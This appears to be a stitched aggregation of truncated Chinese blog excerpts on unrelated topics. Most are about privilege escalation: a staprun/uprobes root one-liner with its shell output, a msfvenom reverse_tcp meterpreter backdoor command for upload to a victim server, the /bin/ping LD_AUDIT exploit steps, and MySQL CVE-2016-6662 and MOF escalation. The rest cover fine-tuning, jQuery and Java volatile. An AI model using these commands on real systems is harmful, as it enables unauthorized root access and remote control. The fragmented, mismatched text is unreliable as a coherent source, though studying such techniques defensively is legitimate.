参考:迁移学习——Fine-tune 一.迁移学习 就是把已训练好的模型参数迁移到新的模型来帮助新模型训练. 模型的训练与预测: 深度学习的模型可以划分为 训练 和 预测 两个阶段. 训练 分为两种策略:一种是白手起家从头搭建模型进行训练,一种是通过预训练模型进行训练. 预测 相对简单,直接用已经训练好的模型对数据集进行预测即可. 优点: 1)站在巨人的肩膀上:前人花很大精力训练出来的模型在大概率上会比你自己从零开始搭的模型要强悍,没有必要重复造轮子. 2)训练成本可以很低:如果采用导出特征向量

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转自:http://blog.csdn.net/u010402786/article/details/70141261 前言 什么是模型的微调?   使用别人训练好的网络模型进行训练,前提是必须和别人用同一个网络,因为参数是根据网络而来的.当然最后一层是可以修改的,因为我们的数据可能并没有1000类,而只有几类.把最后一层的输出类别和层的名称改一下就可以了.用别人的参数.修改后的网络和自己的数据进行训练,使得参数适应自己的数据,这样一个过程,通常称之为微调(fine tuning). 微调时候网

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iOS冰与火之歌(番外篇) 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权 蒸米@阿里移动安全 0x00 序 这段时间最火的漏洞当属阿联酋的人权活动人士被apt攻击所使用的iOS PEGASUS(又称Trident三叉戟)0day漏洞了.为了修复该漏洞,苹果专门发布了一个iOS 9.3.5版本.这个漏洞的厉害之处在于可以直接从沙盒内对内核进行攻击(无需沙盒逃逸),并且同时影响iOS(9.3.4)和OS X (10.11.6).因此,本篇文章将会从PEGASUS漏洞形

jQuery为开发插件提拱了两个方法,分别是: jQuery.fn.extend(); jQuery.extend(); jQuery.fn jQuery.fn = jQuery.prototype = { init: function( selector, context ) {//…. //…… }; 原来 jQuery.fn = jQuery.prototype.对prototype肯定不会陌生啦. 虽然 javascript 没有明确的类的概念,但是用类来理解它,会更方便. jQuery

一.不得不提的volatile volatile是个很老的关键字,几乎伴随着JDK的诞生而诞生,我们都知道这个关键字,但又不太清楚什么时候会使用它:我们在JDK及开源框架中随处可见这个关键字,但并发专家又往往建议我们远离它.比如Thread这个很基础的类,其中很重要的线程状态字段,就是用volatile来修饰,见代码 /* Java thread status for tools, * initialized to indicate thread 'not yet started' */   p

catalogue . 漏洞背景 . 影响范围 . 漏洞原理 . 漏洞PoC . 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器——可以将Tomcat看作是Apache的扩展,实际上Tomcat也可以独立于Apache运行.本地提权漏洞CVE-2016-1240.仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限 Relevant Link: http://legalhackers.com/advis

linux命令:‍ [b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever sh-3.2# uname -a Linux xlsec 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:43 EDT 2010 i686 i686 i386 GNU/Linu

没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到media权限,其中CVE-2014-7921影响Android 4.0.3及以后的版本,CVE-2014-7920影响Android 2.2及以后的版本.Google直到Android5.1才修复这2个漏洞.该漏洞[1]披露过程如下: 2016年1月24日漏洞作者发布了漏洞分析及exploit[2],

在WEB渗透中当我们拿到webshell了,我们可以试试用MSF(metasploit)来进行提权,在MSF里meterpreter很强大的! 我们先用msfvenom生成一个EXE的木马后门. msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b -f exe > abc.exe 然后在到MSF根据刚才配置的木马后门进行监听... 然后在把木马上传到服务器(受害者)的机器里,必须上传到可读可写的目录下哦,

利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 2.查看内核版本 3.检测当前用户权限 4.列举Suid文件 5.查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞 1 $ lsb_release -a 查看系统的发行版本 1 $ uname -a 查看内核版本 每次在提权的时候,我们都会一次又一次的测试,我们将搜索所有可能的提权技术,

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cve-2016-6662 MYSQL提权分析 MySQL <= 5.7.15 远程代码执行/ 提权 (0day) 5.6.33 5.5.52 Mysql分支的版本也受影响,包括: MariaDB PerconaDB创建bob用户,并赋予file,select,insert权限,创建用于实验的数据库activedb和表active_table 将exp先写入tmp目录,并编译成so文件,需要修改一下ip,port和my.cnf的位置 select "TYPE=TRIGGERS\ntrigg

最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了.关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们. 一.利用mof提权 前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下: Wi

英文原文: Basic Linux Privilege Escalation 在开始之前,我想指出 - 我不是专家. 据我所知,在这个巨大的领域没有一个“魔法”的答案. 这只是我的发现,写出来,共享而已(是我的起点). 下面列举的项中会出现几个不同命令,都是做同样的事,在不同的场景使用可能会有不一样的亮点.我知道有更多的东西有待探索, 这只是一个基本和粗略的指导. 并不是每个命令都适用于每个系统,因为Linux版本之间有很大的不同. "It" will not jump off the

Linux下的漏洞提权 linux下一般都是系统漏洞提权,分为以下几个步骤:

RHEL5—RHEL6下都可以提权 本人测试环境CenOS6.5:该方法只能用作与有root用户切换到普通用户的环境,如果是普通用户直接登录在执行最后一步的时候直接退出登录 $ mkdir /tmp/exploit $ ln /bin/ping /tmp/exploit/target $ exec 3< /tmp/exploit/target $ ll /proc/$$/fd/3 $ rm -rf /tmp/exploit/ $ ll /proc/$$/fd/3 $ vim payload.c

大概一个多月前学习了提权的知识,当时一直不知道提权到底具体是为了干什么.只是模糊的知道提高权限,获得别的进程的一些东西.后来慢慢的学习的多了,知道了一个叫做ReadProcessMemory的函数,第一次看是因为已经提完权限了,这个函数实现的比较完美,后来想了想,把提权注释后,发现ReadProcessMemory实现不成功了...查看了MSDN发现了Remarks:Any process that has a handle with PROCESS_VM_READ access can cal

1.利用/bin/ping的漏洞普通用户提权.(rws中的s) [root@localhost ~]# ls -l /bin/ping -rwsr-xr-x. root root 9月 /bin/ping 2.执行以下代码即可: #!/bin/sh unset LD_AUDIT rm -r -f /tmp/exploit mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec < /tmp/exploit/target rm -rf /t

使用http://www.cnblogs.com/573177885qq/p/5804863.html中的图片进行训练和测试. 整个流程差不多,fine-tune命令: ./build/tools/caffe train -solver examples/money_test/fine_tune/solver.prototxt -weights models/bvlc_reference_caffenet/bvlc_reference_caffenet.caffemodel 因为是用别人训练好的